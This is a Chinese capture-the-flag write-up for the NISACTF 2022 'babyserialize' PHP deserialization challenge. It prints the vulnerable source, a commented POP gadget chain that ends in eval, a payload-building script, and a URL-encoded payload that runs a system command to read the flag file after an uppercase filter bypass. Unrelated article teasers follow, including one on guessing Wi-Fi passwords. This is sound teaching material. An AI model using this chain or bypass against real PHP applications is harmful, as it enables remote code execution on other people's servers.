[NISACTF 2022]babyserialize

[NISACTF 2022]babyserialize        题目做法及思路解析(个人分享)

题目平台地址:NSSCTF | 在线CTF平台


一、题目代码

查看分析代码,寻找漏洞点(题目中注释为个人思路标注,实际代码中没有)

<?php
include "waf.php";
class NISA{
    public $fun="show_me_flag";
    public $txw4ever;                           //2.给$txw4ever赋值需要执行的系统命令
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }

    function __call($from,$val){
        $this->fun=$val[0];
    }

    public function __toString()
    {
        echo $this->fun;
        return " ";
    }
    public function __invoke()                  //3.触发invoke(触发条件:把对象当成函数)
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);                 //1.目标:触发eval执行系统代码
    }
}

class TianXiWei{
    public $ext;
    public $x;
    public function __wakeup()                  //11.触发wakeup(触发条件:反序列化之前会触发)
    {
        $this->ext->nisa($this->x);             //10.给$ext赋值为对象,即$ext成为对象Ilovetxw,调用不存在的nisa方法和参数,触发Ilovetxw中的call
    }
}

class Ilovetxw{
    public $huang;
    public $su;

    public function __call($fun1,$arg){         //9.触发call(触发条件:调用不存在的方法的名称和参数)
        $this->huang->fun=$arg[0];              //8.给$huang赋值为对象,即$huang成为对象four,给不存在的fun属性赋值,触发four中的set
    }

    public function __toString(){               //5.触发toString(触发条件:把对象当做字符串)
        $bb = $this->su;                        //4.给$su赋值为对象,即$bb成为对象NISA,却被当成函数调用,触发Modifier中的invoke
        return $bb();
    }
}

class four{
    public $a="TXW4EVER";
    private $fun='abc';

    public function __set($name, $value)        //7.触发set(触发条件:给不存在的成员属性赋值)
    {
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){            //注意需要让fun = "sixsixsix"才能直接后续代码
            strtolower($this->a);               //6.给$a赋值为对象,即把对象Ilovetxw当做字符串进行大小写转换,触发Ilovetxw中的toString
        }
    }
}

if(isset($_GET['ser'])){
    @unserialize($_GET['ser']);
}else{
    highlight_file(__FILE__);
}

//func checkcheck($data){
//  if(preg_match(......)){
//      die(something wrong);
//  }
//}

//function hint(){
//    echo ".......";
//    die();
//}
?>

二、题目解析

1.解题思路

第一步:给$fun赋值要执行的代码,触发invoke

第二步:触发toString,给$su赋值为对象NISA

第三步:触发set,给$a赋值为对象Ilovetxw

第四步:触发call,给$huang赋值为对象four

第五步:触发wakeup,给$ext赋值为对象Ilovetxw

2.解题代码编写思路

1.查看题目注释代码(一般题目中注释代码存在提示信息),模糊掉了一部分,但是根据题目代码联想能够大概猜测,checkcheck()做了代码过滤,而hint()会终止程序

//func checkcheck($data){
//  if(preg_match(......)){
//      die(something wrong);
//  }
//}

//function hint(){
//    echo ".......";
//    die();
//}

2.直接将题目代码复制到本地,删除掉注释信息、方法、和属性的赋值(因为在我们编写解题代码时大部分时候用不到方法,而属性的赋值是由我们定义的,后面我们会重新赋值,所以把不重要的信息先删除掉)。

观察题目中执行反序列化的代码,会判断我们通过GET传参传递的ser参数,否则输出题目代码,将该段代码删除,替换为输出序列化的代码(注意当题目中存在private和protected修饰符时需要使用urlencode()函数进行URL编码加密,或后续手动更改输出结果)

<?php
class NISA{
    public $fun;
    public $txw4ever;
}
class TianXiWei{
    public $ext;
    public $x;
}
class Ilovetxw{
    public $huang;
    public $su;
}
class four{
    public $a;
    private $fun;
}
echo urlencode(serialize());
?>

3.首先,将四个对象先实例化,分别为$a、$b、$c、$d,此时我们再根据先前对题目的分析对代码进行编写(具体分析查看 题目代码 中进行注释的解析以及 解题思路 中的分析),得到解题代码。

strtolower()函数是一种常见的字符串处理函数,用于将字符串中的所有字符转换为小写形式。它的主要作用是实现字符串的大小写转换,将大写字母转换为相应的小写字母。

<?php
class NISA{
    public $fun;
    public $txw4ever = "phpinfo();";         //给$fun赋值要执行的代码,我们先使用phpinfo()进行测试
}
class TianXiWei{
    public $ext;
    public $x;
}
class Ilovetxw{
    public $huang;
    public $su;
}
class four{
    public $a;
    private $fun = "sixsixsix";             //需要让fun="sixsixsix"才能执行大小写转换的代码
}
$a = new NISA();
$b = new TianXiWei();
$c = new Ilovetxw();
$d = new four();
$c -> su = $a;                              //给$su赋值为对象NISA,触发invoke
$d ->a = $c;                                //给$a赋值为对象Ilovetxw,触发toString
$c ->huang = $d;                            //给$huang赋值为对象four,触发set
$b ->ext = $c;                              //给$ext赋值为对象Ilovetxw,触发call
echo urlencode(serialize($b));              //执行反序列化,触发wakeup
?>

4.将序列化代码通过ser参数传入后产生报错,根据之前对题目代码进行的分析,猜测对参数进行了过滤,尝试使用大写绕过,最终成功回显

三、解题代码

通过system()函数执行系统命令对flag文件进行读取,得到flag(注意使用大写绕过)。

<?php
class NISA{
    public $fun;
    public $txw4ever = "SYSTEM('cat /fllllllaaag');";         //给$fun赋值要执行的代码,执行查看flag文件命令
}
class TianXiWei{
    public $ext;
    public $x;
}
class Ilovetxw{
    public $huang;
    public $su;
}
class four{
    public $a;
    private $fun = "sixsixsix";             //需要让fun="sixsixsix"才能执行大小写转换的代码
}
$a = new NISA();
$b = new TianXiWei();
$c = new Ilovetxw();
$d = new four();
$c -> su = $a;                              //给$su赋值为对象NISA,触发invoke
$d ->a = $c;                                //给$a赋值为对象Ilovetxw,触发toString
$c ->huang = $d;                            //给$huang赋值为对象four,触发set
$b ->ext = $c;                              //给$ext赋值为对象Ilovetxw,触发call
echo urlencode(serialize($b));              //执行反序列化,触发wakeup
?>

输出结果:

O%3A9%3A%22TianXiWei%22%3A2%3A%7Bs%3A3%3A%22ext%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BO%3A4%3A%22four%22%3A2%3A%7Bs%3A1%3A%22a%22%3Br%3A2%3Bs%3A9%3A%22%00four%00fun%22%3Bs%3A9%3A%22sixsixsix%22%3B%7Ds%3A2%3A%22su%22%3BO%3A4%3A%22NISA%22%3A2%3A%7Bs%3A3%3A%22fun%22%3BN%3Bs%3A8%3A%22txw4ever%22%3Bs%3A27%3A%22SYSTEM%28%27cat+%2Ffllllllaaag%27%29%3B%22%3B%7D%7Ds%3A1%3A%22x%22%3BN%3B%7D

FLAG:

NSSCTF{a155432b-5656-4b9b-9a6e-9fd7160219c1}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/328806.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

uniapp 使用canvas制作柱状图

效果图&#xff1a; 实现思路&#xff1a; 1、通过展示数据计算需要画几根柱子&#xff1b; 2、通过组件宽度、高度计算出每根柱子的宽度及高度&#xff1b; 3、for循环依次绘制每根柱子&#xff1b; 4、绘制柱子时&#xff0c;先绘制顶部百分比、value值&#xff0c;再绘制柱子…

1.机器学习-机器学习算法分类概述

机器学习-机器学习算法分类概述 个人简介机器学习算法分类&#xff1a;监督学习、无监督学习、强化学习一监督学习1. 监督学习分类任务举例&#xff1a;1.1 特征1.2 标签 二无监督学习1.关键特点2.应用示例3.常见的无监督学习算法 三强化学习1.定义2.示例场景 四机器学习开发流…

HarmonyOS应用开发者高级认证试题库(鸿蒙)

目录 考试链接&#xff1a; 流程&#xff1a; 选择&#xff1a; 判断 单选 多选 考试链接&#xff1a; 华为开发者学堂华为开发者学堂https://developer.huawei.com/consumer/cn/training/dev-certification/a617e0d3bc144624864a04edb951f6c4 流程&#xff1a; 先进行…

springboot整合websocket后启动报错:javax.websocket.server.ServerContainer not available

一、场景 Springboot使用ServerEndpoint来建立websocket链接。引入依赖。 <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-websocket</artifactId> </dependency>配置Websocket Confi…

java SECS管理系统 将逐步推出 SECS 客户端(Passive) 管理系统 SECS快速开发平台 springboot secs开发平台

SECS管理系统 这是一套SECS客户端(Passive)&#xff0c;可以直接连接PLC设备,支持Modbus、三菱MC、欧姆龙Fine、OPC-UA、西门子S7设备等通信。 企业已经有了EAP软件&#xff0c;但是设备没有SECS通信功能&#xff0c;这时候可以使用这套框架&#xff0c;直接连接设备&#xff…

maven环境搭建(打包项目)

Maven:直观来讲就是打包写好的代码封装 Apahche 软件基金会&#xff08;非营业的组织&#xff0c;把一些开源软件维护管理起来&#xff09; maven apahce的一个开宇拿项目&#xff0c;是一个优秀的项目构建&#xff08;管理工具&#xff09; maven 管理项目的jar 以及jar与j…

2019年江苏省职教高考计算机技能考试——一道改错题的分析

题目&#xff1a;函数将str字符串中的5个数字字符串转换为整数&#xff0c;并保存在二维数组m的最后一行&#xff0c;各元素为3、-4、16、18、6。并经函数move处理后&#xff0c;运行结果如下&#xff1a; 18 6 3 -4 16 16 18 6 3 -4 -4 16 …

介绍一个强大的免费开源.net反编译工具

dnSpy dnSpy 是一个用C#开发&#xff0c;开源的调试器和.NET 汇编编辑器。 即使您没有任何可用的源代码&#xff0c;也可以使用它来编辑和调试程序&#xff0c;并可以把代码导出成.net工程。

MySQL表的内连和外连

文章目录 前言一、表的内连接和外连接内连接外连接左外连接右外连接 使用场景 前言 一、表的内连接和外连接 表的连接分为内连接和外连接。 内连接 内连接实际上就是利用where子句对两种表形成的笛卡儿积进行筛选&#xff0c;我们前面学习的查询都是内连接&#xff0c;也是在…

【Java】十年老司机转开发语言,新小白从学习路线图开始

欢迎来到《小5讲堂》 大家好&#xff0c;我是全栈小5。 这是《Java》序列文章&#xff0c;每篇文章将以博主理解的角度展开讲解&#xff0c; 特别是针对知识点的概念进行叙说&#xff0c;大部分文章将会对这些概念进行实际例子验证&#xff0c;以此达到加深对知识点的理解和掌握…

LINUX命令:tr cut sort uniq

目录 一.tr 1.替换 2.删除tr -d 3.压缩tr -t 二.cut 1.提取所需要的列 2.延伸——磁盘剩余空间不足发起警告 三.sort -t 指定分隔符 -k 指定列排序 四.uniq uniq压缩连续的字符 uniq -c 压缩并统计连续的字符数据信息 一.tr 1.替换 2.删除tr -d 3.压缩tr -t 二.c…

Miracast手机高清投屏到电视(免费)

版权声明 本文原创作者&#xff1a;谷哥的小弟作者博客地址&#xff1a;http://blog.csdn.net/lfdfhl Miracast概述 Miracast是一种无线显示标准&#xff0c;它允许支持Miracast的设备之间通过Wi-Fi直接共享音频和视频内容&#xff0c;实现屏幕镜像或扩展显示。这意味着你可以…

vscode无法自动补全

前提&#xff1a;安装c/c插件 c/c插件功能非常强大&#xff0c;几乎能满足日常编码过程中常用的功能&#xff1b;因此也包含自动补全的功能&#xff0c;开启方法如下&#xff1a; 文件->首选项->设置&#xff1a; 扩展->c/c->Intellisense&#xff0c;找到Intell…

工业企业能源管理平台,可以帮助企业解决哪些方面的能源问题?

随着全球工业化进程的加快&#xff0c;工业企业在生产经营过程中消耗的能源也越来越庞大。能源成本的上升和环境保护的压力使得工业企业对能源管理的重要性有了深刻的认识。为了提高能源利用效率、降低能源消耗、减少环境污染&#xff0c;工业企业在能源管理方面迫切需要一套规…

JS逆向实战案例2——某房地产token RSA加密

说明&#xff1a;仅供学习使用&#xff0c;请勿用于非法用途&#xff0c;若有侵权&#xff0c;请联系博主删除 作者&#xff1a;zhu6201976 一、 反爬分析 url1&#xff1a;aHR0cDovL3pmY2ouZ3ouZ292LmNuL3pmY2ovZnl4eC94a2I/c1Byb2plY3RJZD05MzBlMDQ0MmJjNjA0MTBkYTgzNzQ0MmQ…

将PDF转换为二维码,实现手机端无缝分享的新体验

在移动互联网时代&#xff0c;手机已经成为我们日常生活和工作中不可或缺的工具。然而&#xff0c;直接在手机上分享PDF文件可能会面临格式兼容性、文件大小限制以及传输速度慢等问题。为此&#xff0c;Maifile.cn提供了一种创新的解决方案——将PDF转换为二维码&#xff0c;让…

P9842 [ICPC2021 Nanjing R] Klee in Solitary Confinement 题解(SPJ!!!)

[ICPC2021 Nanjing R] Klee in Solitary Confinement 题面翻译 给定 n , k n,k n,k 和一个长为 n n n 的序列&#xff0c;你可以选择对区间 [ l , r ] [l, r] [l,r] 的数整体加上 k k k&#xff0c;也可以不加。最大化众数出现次数并输出。 题目描述 Since the travele…

Python密码本连接wifi

有时候我们会忘记自己的Wi-Fi密码&#xff0c;或者需要连接某个Wi-Fi网络以满足合法需求。本文将介绍如何使用Python编程语言编写一个简单的连接Wi-Fi的程序。 一、密码本准备 在进行wifi猜测时&#xff0c;其实就是列出各种可能的密码&#xff0c;用来尝试去访问目标wifi&…

学习k8s的应用(三)

一、k8s部署ngnix 1、一些查看命令 1-1、所有命令空间 kubectl get pod --all-namespaces kubectl get svc --all-namespaces1-2、指定命令空间 kubectl get pod -n yabin kubectl get svc -n yabin2、单节点集群兼容 # 因为目前只有一个master节点&#xff0c;默认安装后…

Mac python爬虫学习

首先推荐几个 必须要掌握的类库 Requests: HTTP for Humans 它是以这么一句话介绍自己的&#xff0c;为人类使用的HTTP库 http://docs.python-requests.org/zh_CN/latest/user/quickstart.html 中文文档 Beautifulsoup 用Beautiful Soup解析网站源代码 代替正则 https://…